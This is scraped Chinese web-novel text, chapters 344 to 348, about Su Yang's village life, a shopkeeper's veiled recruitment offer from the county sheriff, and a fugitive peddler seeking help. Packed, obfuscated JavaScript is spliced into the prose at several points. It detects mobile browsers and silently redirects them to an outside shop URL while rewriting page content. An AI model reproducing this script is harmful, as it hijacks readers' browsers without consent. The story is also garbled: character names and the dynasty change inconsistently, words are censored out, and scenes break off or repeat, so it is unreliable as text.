好几个正准备打饭的小伙子,立马改变主意,把目标从香喷喷的熊肉,换成了卖相不咋地的熊掌。 一头熊,四只爪子,数都数的过来。 你一块,我一块,眨眼的功夫,就被一扫而空。 路旭东来打饭的时候,锅里只剩下光秃秃的骨头棒子了。 他顿时火冒三丈,扯着嗓子就嚷嚷开了: “好啊,你们这帮鳖孙,一个个滑得跟泥鳅似的!背地里偷吃熊掌,偏偏让咱们享口福,真特娘的够意思!” “旭东,你瞎嚷嚷啥?石头直呼熊掌难以下咽,远山也说不好吃,俺就没吃,还是老老实实吃肉吧!” 旁边一个叫林韧的小伙子,挠了挠头,一脸憨厚地劝道。 “你个棒槌,到底是真憨还是装傻?” 路旭东气得直翻白眼,恨不得撬开他的榆木脑袋看看里面装的是啥, “没看见他们碗里都堆成啥样了?要是不好吃,他们能一个个跟饿死鬼托生似的,光捡着熊掌吃?” “啊?” 路旭东这一嗓子,总算是把不少人给吼明白了。 众人齐刷刷地看向陈木生和孔远山的碗。 嚯! 满满当当,堆得跟小山似的,清一色的熊掌! 这下,大伙儿可不干了,一个个气得直跳脚,感觉自己好像错过了几个亿。 “你们……你们这帮龟儿子,太不够意思了!” “尤其是你,陈木生!平日里看你五大三粗的挺老实,没想到心眼比筛子还多!” 一时间,陈木生成了众矢之的,被无数双眼睛“热情”地注视着。 他一边美滋滋地啃着熊掌,一边在心里偷着乐。 这帮蠢货,真是没记性。 没看到苏阳,苏二哥也埋头啃熊掌呢吗? 早就跟你们说了,跟着二哥混,吃香的喝辣的,准没错! 他正得意着呢, “啪!” 后脑勺突然挨了一巴掌。 “娘,你咋又打俺?” 陈木生捂着脑袋,委屈巴巴地嘟囔着。 动手的,除了他亲娘王婶,还能有谁? “你个小兔崽子,跟谁学的这些花花肠子?以后再敢捉弄人,看我不打断你的腿!” 王婶横眉立目,一副恨铁不成钢的模样。 陈木生撇了撇嘴,嘴上不敢顶撞,内心却憋着一股劲。 他暗自嘀咕:您刚才吃熊掌的时候,也没见您说不好吃啊?自己吃得满嘴流油,反倒来教训起儿子来了,这叫哪门子道理? 正当大伙吃嗨了,乱哄哄的时候。 突然,负责看守村门的卫村队员,跌跌撞撞地跑了进来,鞋都跑掉了一只,上气不接下气地喊道: “报…报告,送…运粮的队伍又到了!” 自打苏阳剿匪立功,郑掌柜就跟闻着味儿的苍蝇似的,隔三差五派人送粮来,每回都是五十担。 苏阳也没跟他客气,照单全收,打算让他送够五百石。 就这,苏阳还觉得不够呢。 村里这么多人,每天人吃马嚼的,消耗的粮食可不是个小数目,估计等不到明年开春,就得再出去买粮。 送粮的车队有专人负责,用不着苏阳操心。 可卫村队员接下来的话,却让苏阳不得不重视起来。 “苏生儿,送粮的人里头,有个自称姓吴的,非要见您,说是……有要紧事跟您商量。” 苏阳一听,立马放下碗筷,站起身来: “走,出去瞧瞧,是不是郑掌柜来了。” 他这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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更何况,大元朝民风淳朴,热情好客,讲究个礼尚往来。 第三百四十四章 别说郑掌柜是带着礼物来的,就算他空着手来,苏阳也得好好招待。 “郑掌柜,快请进屋,咱们边吃边聊!” 他没有直接把郑掌柜领到自己房间,而是带到了平时招待客人的地方。 两人刚一落座,郑掌柜就从怀里掏出一张礼单,双手递给苏阳: “巡检大人,这是我给您准备的一点贺礼,还请您务必收下!” 苏阳接过礼单,扫了一眼,顿时吃了一惊。 这礼单上,除了金银珠宝,绫罗绸缎,竟然还有几张地契! 他连忙推辞: “郑掌柜,您这礼也太重了,我可不能收!” 郑掌柜却笑着说道: “巡检大人,您先别忙着拒绝,听我把话说完。这些东西,可不全是我送的,还有一部分,是郑县尉托我带来的。” “郑县尉?” 苏阳眉头一挑,心中顿时了然。 看来,这郑掌柜和郑县尉的关系,果然不一般啊。 这俩货都姓吴,难不成还真是亲戚? 如果真是一家人,那郑掌柜这次来,恐怕就不仅仅是道贺这么简单了。 郑县尉又想从自己这里得到什么呢? 他心中思绪万千,脸上却不动声色,只是热情地招呼着郑掌柜。 “郑掌柜,快请坐,咱们边吃边聊。”郑掌柜夹起一块熊排,送进嘴里,轻轻一咬,浓郁的肉汁瞬间在口腔中爆开,他满足地眯起眼睛,连连点头。 “苏老弟,今儿个老哥可真是走了大运了!” 郑掌柜一边咀嚼,一边含混不清地赞叹, “这大冷的天,还能吃上这等山珍,你这小日子,过得可比那神仙还自在!” 苏阳亲手烧的这红烧熊排,确实是下了功夫。 每一块都炖得恰到好处,颤巍巍地挂着诱人的亮红色汤汁,让人一看就食指大动。 咬上一口,肥肉部分入口即化,瘦肉部分酥烂不柴,两种口感完美融合,直叫人欲罢不能。 郑掌柜自诩也算半个老饕,可如此地道的熊肉做法,还真是头一回尝。 “这可不单是熊排,” 苏阳笑着,用筷子指了指桌上其他的菜, “还有一道香辣酥脆的炒肉,卤肥肠,凉拌耳丝,糖醋鲤鱼……您老敞开了吃!” 有些菜,郑掌柜在凤子楼也曾品过,可有些,却是闻所未闻。 再配上从赖志成那顺手牵羊弄来的米酒,这一顿饭,直把郑掌柜吃得是心花怒放,飘飘欲仙。 真是做梦都想不到,青龙村这看似不起眼的地方,竟藏着这等美味佳肴! “对了,老弟,你家这林绮娘,也是个能人啊!” 郑掌柜忽然话锋一转,夸起了林绮娘,言语间满是羡慕, “这厨艺,啧啧,没得挑!老弟你真是好福气,娶了个这么能干的媳妇儿!” 说着,郑掌柜的目光在屋内扫视,似乎在寻找什么。 突然,他的眼神定格在了一个人身上,脸上露出惊讶的神色。 “咦?钱虎中?你咋也在这儿?” 原来是钱福生过来蹭饭了。 老钱可从来不跟苏阳客气。 苏阳这里有好吃的,有好喝的,他自然不会放过。 谁让苏阳这小子,还打着他宝贝闺女的主意呢? 一起在清阳县混生意圈,钱福生和郑掌柜自然是相识的。 钱福生一边往嘴里塞着肉,一边含糊不清地问道: “郑掌柜,最近城里……可有什么新鲜事儿没有?” 郑掌柜被问得一愣,有些摸不着头脑,他不明白钱福生这话是什么意思: “城里?挺好的啊,没啥特别的,你问这个干啥?……哦,要说真有什么变化……” 钱福生一听这话,顿时来了精神,身子都往前倾了倾: “啥变化?” 郑掌柜嘿嘿一笑,指着钱福生说道: “还能有啥,就你呗!县衙里都传开了,说你钱虎中八成是遭了劫道的,尸首说不定都让野狗给啃了!” 钱福生一听,筷子上的肉都吓掉了,脸色煞白: “那……那我婆娘呢?没……没寻下家吧?” 这连珠炮似的问题,把苏阳和郑掌柜都给逗乐了。 …… 酒过三巡,菜过五味,郑掌柜放下了筷子,抹了抹嘴,开始说起了正事。 他压低了声音,对苏阳说道: “苏老弟,实不相瞒,老哥我这次来,是替郑县尉带个话。” 苏阳心中早有预料,脸上却不动声色,只是笑着点了点头。 “郑县尉说了,他很看好你,觉得你是个可造之材。” 郑掌柜顿了顿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648137|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续说道, “只要你肯跟着郑县尉干,以后少不了你的好处。” 这话说得很直白,但苏阳并没有立刻表态。 郑掌柜见状,又补充了一句: “当然,你要是不愿意,郑县尉也不会勉强。不过嘛,这清阳县的地界,可不太平啊……” 他意味深长地笑了笑,没有把话说透,但威胁的意味已经很明显了。 苏阳是谁?岂能听不出这弦外之音? 不过,他可没打算硬碰硬,只是装傻充愣,顾左右而言他。 郑掌柜呢,也觉得自己话说到了,目的已经达到,便开始天南海北地胡侃起来, “苏老弟,咱们也算是不打不相识,以后就是自家兄弟!有啥事尽管吱声,只要老哥能办到的,绝不含糊!” 苏阳等的就是这句话,他顺势说道: “郑掌柜,还真有件事想请您帮个忙。您还记得那个叫老孙的牙人吗?” 郑掌柜一愣,随即点头: “记得,咋了?” 苏阳放下酒杯,缓缓说道: “之前拜托他帮忙买头牲口,结果这老小子不地道,见我买得多,竟然……” 说到这里,苏阳故意停顿了一下,脸上露出了一丝冷笑。 郑掌柜心里咯噔一下,他知道,这事恐怕没那么简单。 能让苏阳这么个喜怒不形于色的人露出这种表情,这老孔生怕是惹上**烦了。 “他……他怎么了?” 郑掌柜小心翼翼地问道。 苏阳轻描淡写地说道: “他勾结了几个地痞流氓,还有两个衙门里的黑皮,想半路截我的胡。结果,被我给收拾了。” 他说的轻巧,但郑掌柜已经能想象出当时的惊险场面了。 “那……那老孔生呢?”郑掌柜追问道。 “他啊,还活着。”苏阳笑了笑,眼神中却闪过一丝寒芒,“我本来打算过几天再去找他算账的,既然郑掌柜您来了,就顺便帮我带个话吧。” 郑掌柜连忙点头:“你说,你说。” “告诉他,让他给我准备五十头牛,要上好的,价钱要公道。这事要是办好了,以前的事,我可以既往不咎。” 苏阳的语气很平静,但郑掌柜却听出了一股不容置疑的味道。 “这……”郑掌柜有些犹豫。 第三百四十五章 他原本以为,苏阳会让他把老孔生狠狠地教训一顿,甚至直接把人给做了。 没想到,苏阳竟然只是让老孔生帮忙买牛? 这反差也太大了吧? “怎么,郑掌柜有难处?”苏阳挑了挑眉。 “不不不,没难处!”郑掌柜连忙摆手,“这事儿包在我身上!只是……” 他欲言又止,似乎有什么顾虑。 “郑掌柜有什么话,尽管直说。”苏阳说道。 郑掌柜叹了口气,说道: “苏老弟,你有所不知,这老孔生……跟郑县尉那边,也有些瓜葛。我怕我出面,不太好办啊。” 他这话,其实是在试探苏阳。 如果苏阳真的已经铁了心要跟郑县尉对着干,那他这个中间人,可就难做了。 苏阳闻言,哈哈一笑: “郑掌柜多虑了。我跟郑县尉之间,又没什么深仇大恨。我只是想给那老孔生一个教训,让他知道,有些人,是他惹不起的。” 听到这话,郑掌柜悬着的心总算放了下来。 看来,苏阳并没有把郑县尉当成敌人。 既然如此,那这事就好办了。 “苏老弟放心,这事我一定给你办得漂漂亮亮的!”郑掌柜拍着胸脯保证道。 “那就多谢郑掌柜了。”苏阳举起酒杯,“来,咱们再干一杯!” 两人碰了碰杯,一饮而尽。 目送郑掌柜离开,钱福生立刻凑了上来,搓着手,满脸堆笑: “苏老弟啊,苏大巡检,那个……想和你聊点正事……”钱福生刚张了张嘴,一个“不”字还没蹦出来,就被苏阳抬手打断了: “我说老钱,你那解剖学,现在研究到哪一步了?能给人开膛破肚了吗?” 钱福生一听这话,心瞬间沉了下去。 他哪能不明白苏阳的意思,这是变着法儿地不想让自己回家啊。 可这回,钱福生是王八吃秤砣——铁了心,说什么也得回去! 他钱福生又不是傻子。 城里都传开了,说他钱福生早就让山上的土匪给撕了票,尸骨无存。这要是再不回去,万一媳妇儿真听了那些闲言碎语,改嫁了可咋整? 想到这儿,钱福生脖子一梗,鼻子不是鼻子脸不是脸地哼了一声: “苏二,你少跟我来这套!今儿个,不管你说出个什么花儿来,明儿一早,我也得走!我必须回清阳县!” “得嘞,您老请便。” 出乎钱福生的意料,苏阳竟然没有阻拦,只是无所谓地耸了耸肩。 “我又没拿绳子拴着您,这青龙村,您想来就来,想走就走,谁还能拦得住您这位大神医?” 苏阳这话说得钱福生心里直犯嘀咕。 “哼,我走可以,但我闺女得跟我一块儿走!苏二,我可告诉你,你要是再敢拿我闺女要挟我,我立马就去县衙报官!” 钱福生一边说着,一边偷偷拿眼角的余光去瞟苏阳的脸色。 “报官?好啊!” 苏阳“啪”的一拍大腿,脸上的笑容更盛了。 “钱虎中,我举双手赞成您去报官!反正您也知道,那郑县尉跟土匪不清不楚的。您这一去,正好,把这事儿跟他说道说道。您猜怎么着?他一准儿得把您当成活菩萨供起来,天天给您烧高香!” 说到这,苏阳故意顿了顿,上下打量了钱福生几眼,啧啧称奇。 “就是不知道,郑县尉供着供着,会不会突然想起来,您手里还攥着他的小辫子呢?” 钱福生一时语塞,感觉自己就像是砧板上的鱼肉,只能任人宰割。 他毫不怀疑,郑县尉那种人,为了保住自己的乌纱帽,什么事都干得出来。 灭口? 那都是轻的! 说不定还会牵连到自己的家人…… 想到这里,钱福生的脸色刷的一下变得惨白,额头上也渗出了豆大的汗珠。 见钱福生不吭声了,苏阳清了清嗓子,又摆出一副推心置腹的模样: “老钱啊,咱也算是一家人了,有些话,我就跟你直说了吧。这清阳县,现在就是个龙潭虎穴,你回去,就是羊入虎口!” 苏阳一边说着,一边不住地摇头,似乎对钱福生的“不识时务”感到痛心疾首。 “凤子楼的肥掌柜,你总该知道吧?他现在还没倒台呢!你这时候回去,不是明摆着给他送人头吗?” “不过你放心,老钱,这事儿我早就替你想好了。我已经跟郑县尉打过招呼了,让他派人给你媳妇儿捎个信儿,就说你钱福生还活得好好的,让她再耐心等几天,别急着改嫁。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656813|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“苏阳!你……” 钱福生再也忍不住了,猛地一拍桌子,噌的一下站了起来,手指着苏阳,气得浑身直哆嗦。 他恨不得现在就把苏阳给绑到手术台上,开膛破肚,好好看看他的心肝脾肺肾是不是都是黑的! 要不然,他怎么能说出这么气人的话来? 不过,怒火中烧之余,钱福生心里头,竟然隐隐地生出了一丝窃喜。 苏阳这小子,说话这么损,这么不留情面,显然是没看上自家闺女。 要不然,他怎么会对未来的老丈人这么不客气? …… 人就是这样,一旦尝到了甜头,就很难收手。 之前打了两头熊,分了肉,得了赏钱,村里的那些青壮,一个个都跟打了鸡血似的,摩拳擦掌,跃跃欲试,打算上山狩猎。 苏阳看着大伙儿这股子不服输的劲头,觉得这是好事。 年轻人嘛,就该有点儿冲劲儿! 他决定,让陈木生他们几个,带着新来的小子们,轮流进山。 一来,堪称实操演练,让新来的小子们尽快熟悉狩猎的技巧;二来,也算是给大伙儿一个展示自己的机会。 至于他自己,苏阳可不想再跟着进山了。 他现在,更想把心思放在村子的建设上。 孔远山这家伙,上次被熊吓破了胆,到现在还腿肚子转筋呢。 这种人,留在村里看看家还行,带出去打猎? 算了吧,别再拖了大家的后腿! 新来的小子们,虽然经验不足,配合起来也有些生疏,但好在有陈木生、路旭东和毕明志这几个经验丰富的“老猎人”带着。 进步神速! 他们就像是一块块海绵,疯狂地吸收着狩猎的知识和技巧。 没过几天,他们就从一开始的“菜鸟”,变成了能够猎杀野猪的“熟练工”。 到了腊月二十二这天,更是让人刮目相看,居然成功猎获一头黑熊! 不过,为了猎这头熊,也付出了不小的代价。 两条猎犬,为了保护众人,被黑熊的爪子挠伤了。 那血淋淋的伤口,看着就让人心疼。 好在,经过紧急救治,两条猎犬都保住了性命。 苏阳看着受伤的猎犬,心里也不是滋味。 第三百四十六章 他特意嘱咐那两个猎人,一定要好好照顾它们,日日得投喂肉食,不能亏待了它们。 两个猎人感动得热泪盈眶。 他们以前跟着夏岭,可没少受气。 别说猎犬受伤了,就是战**,夏岭也只会骂骂咧咧,根本不把猎犬的命当回事。 现在,跟着苏巡检,他们才真正感受到了什么是尊重。 他们暗暗发誓,这辈子,一定要跟着苏巡检好好干,绝不回依山村! 苏阳看着两个猎人,心里也明白,想要收服人心,光靠嘴上说说是不行的,还得拿出实际行动来。 猎犬受伤了,马上就要过年了,苏阳也就不打算再组织人进山了。 晋朝人过年,那可是头等大事。 一年到头,辛辛苦苦,省吃俭用,就指望着过年的时候,能好好地吃上一顿,美美地乐呵乐呵。 这是老祖宗传下来的规矩,也是晋朝人一年到头最大的盼头。 娃娃们翘首以盼新年,因为他们有机会穿上新衣服。 虽说这种机会不多,大多数家庭只有在收成特别好的年头,才能给孩子添置新衣。 那些穷苦人家,过年就像是过鬼门关,能不能活下来都难说。 今年可不一样了! 自从苏阳来了青龙村,一切都变了。 家家户户都盖起了新房,存了粮,再也不用像以前那样,过着吃了上顿没下顿的日子了。 腊月二十三,小年。 按照惯例,苏阳会提前几天给帮工们结算工钱。 这样,大伙儿就能拿着钱,去置办年货,过个好年。 不过,今年苏阳不打算这么做了。 他决定,提前把工钱发了,而且还要多发! 午饭期间,苏阳当着所有人的面宣布: “乡亲们,告诉大家一个好消息!下午,咱们不干活了!我决定,提前给大家发工钱,而且,每人多发三天的工钱!让大家都过个肥年!” “啥?阳哥儿说啥?” “多发三天的工钱?” “真的假的?我不是在做梦吧?” “……” 人群一下子沸腾了。 大伙儿你看看我,我看看你,都不敢相信自己的耳朵。 要知道,平日里,苏阳都是十天发一次工钱。 这已经让大伙儿很感激了。 毕竟,谁家也没有余粮啊! 现在,苏阳竟然要提前发工钱,而且还多发三天的! 这简直就是天上掉馅饼的好事啊! “苏巡检真是大善人啊!” “是啊,跟着苏巡检,咱们的日子是越过越红火了!” “……” 大伙儿议论纷纷,对苏阳的感激之情,溢于言表。 就在这时,一个卫村队员急匆匆地跑了过来。 “巡检大人,不好了!村外来了一个人,自称来自清阳县,要见您!” 卫村队员气喘吁吁地说道,脸上还带着一丝慌张。“报!巡检大人,出事了!” 卫村队员连滚带爬地冲进来,一嗓子嚎叫打断了众人的议论。 他上气不接下气,额头青筋暴起,显然是出了大事。 苏阳眉头一拧,心头涌上一丝不妙。 清阳县? 这节骨眼上,能有啥人来? 还非得点名见自己? 苏阳心里直犯嘀咕,面上却是不动声色: “让他进来。” “是,大人。” 卫村队员应了一声,转身又跑了出去。 苏阳目光扫过众人,落在那队员消失的方向,心里盘算开了。 能让这帮小子这么慌张,来头怕是不小。 片刻,卫村队员就领着个年轻人回来了。 “孙玉哥?” 苏阳一怔。 这不是在清阳县卖果脯蜜饯的那个小贩吗? 他记得这小子,自诩跟符福关系不赖,自己还掏钱买过他的东西。 只见孙玉哥眼泪横流,活像**亲爹: “小东人,救命啊!” 他一身破衣烂衫,头发乱得像鸡窝,脸上脏兮兮的,分明就是一副落难的模样。 苏阳上下打量着他,心中冷笑。 这小子八成是在清阳县混不下去了,跑这儿来寻求庇护了? 想空手套白狼,让我平白无故给他擦屁股? 门儿都没有! 那会儿在清阳县,自己跟他打听符福的消息,这小子还跟自己玩心眼。 “哦?” 苏阳故意拖长了音调,一脸玩味。 “说吧,遇到什么麻烦了?” 他倒要看看,这小子能耍出什么花样。 “我……” 孙玉哥眼神闪烁,嘴唇哆嗦了半天,也没说出一句完整的话。 他眼珠子滴溜溜乱转,显然是在心里打着小算盘。 苏阳一看这架势,就知道这小子没憋好屁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656814|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “孙玉哥,” 苏阳直接打断了他, “我看你还是哪儿来回哪儿去吧。” “我总得知道你得罪了谁,才能决定帮不帮你吧?万一我也惹不起,岂不是白白搭上整个青龙村?” 苏阳可不想当冤大头。 孙玉哥一听,顿时傻眼了。 他没想到苏阳这么难搞。 这要是在清阳县,随便吓唬几句,那些地痞流氓还不乖乖就范? 可苏阳倒好,直接把自己给拒了。 这……这可咋整? 孙玉哥急得像热锅上的蚂蚁,团团乱转。 他可怜巴巴地望着苏阳,张了张嘴,却又不知道该说些什么。 突然,他像是想起了什么,急忙说道: “小东人,我……我前些日子路过凤子楼,看到有人起了冲突,好像是为了一个女子争风吃醋,我就多看了两眼,结果就被那些人给盯上了……我害怕他们报复,就……就跑出来了……” 他这话半真半假,苏阳一听就知道他在撒谎。 “孙玉哥,你还是走吧。” 苏阳再次下了逐客令, “我不清楚你究竟得罪了谁,这忙我没法帮。” 他可不想惹火烧身。 孙玉哥见苏阳不为所动,心中暗骂: “这乡巴佬,真是油盐不进!” 他不敢说自己得罪的是顾明远和凤子楼的肥掌柜。 在他看来,苏阳不过是个小村正,一旦知道那两位的名号,还不吓得屁滚尿流? 之前,孙玉哥收了钱福生的银子,替他去找**赵小姐的贼人。 愣是寻不见人影,他自知理亏,便脚底抹油开溜。 他原本以为,有了钱福生给的银子,到哪儿都能过上好日子。 谁知离开清阳县才发现,外面的钱可没那么好赚。 在清阳县,他多多少少还算个人物。 可到了外地,人生地不熟,银子很快就花光了。 就在他快要饿死的时候,突然想起符福提过一嘴,说自己在乡下有个亲戚,家底挺厚实。 他便偷偷潜回清阳县,找到符福,旁敲侧击地打听到了苏阳的住处。 谁知,苏阳这人如此精明,软硬不吃。 孙玉哥心中焦急万分,眼角余光瞥见了人群中的钱福生,顿时脸色大变。 坏了! 钱福生可是知道自己底细的,要是让他说出实情,那可就全完了! 第三百四十七章 孙玉哥急忙向钱福生使眼色,想让他闭嘴。 可钱福生压根就不搭理他。 钱福生早就认出了孙玉哥。 之前孙玉哥信誓旦旦能找到**女儿的贼人,钱福生才给了他银子,让他办事,谁知道他这么不靠谱。 在钱福生看来,孙玉哥这种人,根本不值一提。 “苏老弟,你可别信他!” 钱福生大步走过来,毫不留情地揭穿了孙玉哥的谎言。 “他得罪的可不是什么小混混,是凤子楼的肥掌柜,还有顾明远!” 钱福生虽然不希望苏阳和自家闺女走得太近,但也不想看到苏阳被人当枪使。 孙玉哥一看事情败露,也不再装了。 扑通一声,他跪倒在地,声泪俱下: “小东人,您救救符福吧!” “哦?” 苏阳挑了挑眉, “符福出什么事了?” 孙玉哥见苏阳终于有了反应,心中暗喜: “符福他……他快不行了!您要是去晚了,怕是今生难再相见!” 他故意把话说得很严重。 苏阳却依旧不慌不忙。 这小子满嘴跑火车,没一句实话,谁知道他又在打什么鬼主意。 “小东人,您是不知道,那肥掌柜的亲戚,看上符大娘子了……” 孙玉哥见苏阳不急,不得不接着讲述。 “那欧阳麻官人,长得那叫一个俊俏!简直就像画里走出来的!” 孙玉哥见周围的人都听得津津有味,更是来了精神。 “有一次,他路过符福家门口,楼上的符大娘子在关窗,不小心把支窗户的竹竿给掉下去了,正好砸在了欧阳麻官人的头上……” 苏阳一听,顿时来了精神。 “孙玉哥,你说的那肥掌柜的亲戚,是不是住在西门附近?” “对对对!小东人,您真是料事如神!” 孙玉哥猛地一拍大腿, “大家都叫他欧阳麻官人!” “接着说,竹竿砸了欧阳麻官人的头,然后呢?” 苏阳催促道。 “小东人,您是不知道,符大娘子那长相……当然,您肯定见过,我就不多说了。” 孙玉哥顿了顿,继续说道: “欧阳麻官人一见符大娘子,眼睛都直了,口水都快流出来了。心里想:‘这哪是凡人,分明是天仙下凡!要是能……’”“哎,我说你们几个,挤什么挤?听个故事还这么不老实,把小爷挤坏了,谁给你们讲那些个勾栏里的趣事儿?” 孙玉哥被几个半大小子挤得龇牙咧嘴,身子左摇右晃,嘴上还不忘显摆。 他余光扫过一张张满是好奇的脸,心中得意: “哼,一帮没见过世面的土包子,等小爷我把欧阳麻官人和符大娘子的那点事儿一抖落,还不把你们一个个的下巴都惊掉喽!” “郓哥,你先等等。” 苏阳的声音突然插了进来,打断了孙玉哥的“卖弄”。 他抬手示意众人安静: “先别急着听故事,我这儿还有点事儿,等处理完了,大伙儿再听也不迟。” “啥?您……您还有啥事?” 孙玉哥有些发懵。 “给大伙儿发肉!” 苏阳一句话,让孙玉哥差点咬到自己的舌头。 “肉……发肉?” 他使劲儿眨巴着眼睛,似乎不敢相信自己的耳朵。 苏阳没理会孙玉哥,朝人群后方喊了一嗓子: “樊小娥,方二姐,费小妹,你们几个过来!” 自从跟着苏阳来到青龙村,樊小娥、方二姐、费小妹这三个从青虎岭带回来的女人,就彻底变了样。 往日在青虎岭,她们是低人一等的“破鞋”,整天被人指指点点。 如今在青龙村,她们可是林绮娘的得力助手,谁见了都得客客气气的。 这可多亏了林绮娘。 当初要不是她力排众议,把这几个女人留在身边,她们哪有今天? 正因如此,这仨女人对苏阳和林绮娘那是感激涕零,把林绮娘交代的活计看得比自己的命还重要。 谁敢说林绮娘一句不是,她们能立马抄家伙跟人拼命! 林绮娘现在可是苏阳身边的大红人,谁敢得罪她? 她看重的人,就算真是“破鞋”,也没人敢当面嚼舌根子。 这不,樊小娥、方二姐、费小妹三人,一人拎着一把明晃晃的剔骨刀,另一只手拎着秤,迈着六亲不认的步伐就走了过来。 王婶则板着一张脸,跟在她们身后,负责监督。 那架势,活像是监斩官。 苏阳吩咐过,每人五斤肉,一分一毫都要算清! 谁要是敢多给,那就是跟苏阳的银子过不去,跟她们仨的饭碗过不去! 在她们眼里,苏阳的家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656815|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当比自己的命都金贵,谁也别想占便宜! 苏阳在一旁看着,心里直乐呵。 自打来到这鬼地方,他还真就没缺过肉。 手底下那帮小子,隔三岔五就从青岭里弄几头野猪回来。 几十头野猪,听起来是不少,可跟后世那些个养猪场比,算个啥? 再说,这年头又没有环境污染,青岭里的野猪长得那叫一个膘肥体壮。 苏阳甚至开始担心,照这么个吃法,哪天会不会给吃腻了? 正因如此,他才时不时地让手下人给大伙儿发点肉。 要真像后世那样,花真金白银去买,他可舍不得。 就算这样,也挡不住厂区人多啊。 光是苏阳手下的小子,就有六七十号人。 再加上四五百个做工的,还有不少匠人,这一算下来,不得发出去三四千斤肉? 也难怪樊小娥她们几个心疼得跟割肉似的。 “都排好队,一个一个来!谁要是敢插队,仔细老婆子的擀面杖!” 王婶中气十足的声音传来,打断了苏阳的思绪。 樊小娥她们已经开始分肉了。 “手脚麻利点!这肉可金贵着呢,都是小东人拿命换来的!” “别把油蹭到衣服上,多可惜!这都是小东人的恩典,得记在心里!” “……” 几个女人一边麻利地切肉、过秤,一边不忘絮絮叨叨。 苏阳听得直皱眉头,心里暗想: “这几个婆娘,嘴也太碎了!回头得跟绮娘说说,让她好好管管。” 不过,青龙村的村民们倒是没觉得有什么不妥。 他们反而觉得这几个女人说得在理,心里对苏阳更加感激了。 孙玉哥站在一旁,看着村民们一个个喜笑颜开地领肉,眼珠子都快瞪出来了。 他使劲儿咽了口唾沫,心里跟猫抓似的: “这姓苏的……真舍得啊!这么多肉,得值多少钱?我要是有这么多钱……” 他不敢再想下去了,生怕自己忍不住冲上去抢肉。 “不行,我得想个法子,从这小子身上弄点好处!” 孙玉哥暗暗下定决心。 他眼珠子一转,计上心来。 等众人领完肉,孙玉哥清了清嗓子,高声说道: “各位,今儿个小爷我心情好,就给大伙儿讲一段欧阳麻官人和符大娘子的风流韵事! 第三百四十八章 ” …… 清阳县城。 凤子楼的肥掌柜,正怒气冲冲地走在青砖街上。 自从被顾明远算计,家破人亡之后,他就看谁都不顺眼。 尤其是那个躲在青龙村不敢露面的苏阳,更是让他恨之入骨。 “苏阳小儿,你给老子等着!等老子腾出手来,非把你**万段不可!” 肥掌柜咬牙切齿地咒骂着。 他已经在这条街上来回走了好几趟了。 原本他是想找符福晦气,可符福这几天一直称病不出,他根本就见不到人。 他想直接冲进符福家里,把人给揪出来,又怕惹上官司。 毕竟,他现在已经不是当初那个一手遮天的凤子楼掌柜了。 “难道就这么算了?” 肥掌柜越想越不甘心。 “不行!老子咽不下这口气!就算不能把苏阳怎么样,也得先收点利息!” 他恶狠狠地想着,目光在街道两旁扫来扫去。 突然,他眼睛一亮,停下了脚步。 只见不远处,一个妇人正站在二楼的窗户边,手里拿着一根竹竿,似乎是在撑窗户。 肥掌柜嘴角露出一丝狞笑: “嘿嘿,天堂有路你不走,地狱无门你闯进来!今儿个,老子就让你尝尝厉害!” 他快步走到那扇窗户下,抬头看着那妇人,大声喊道: “喂!楼上的,你小心点,别把竹竿掉下来砸到人!” 那妇人被他吓了一跳,手一抖,竹竿“啪”的一声,掉了下来……青砖街上,肥掌柜只觉一股燥热从小腹猛地窜起,直冲头顶,烧得他两眼发昏,口干舌燥。 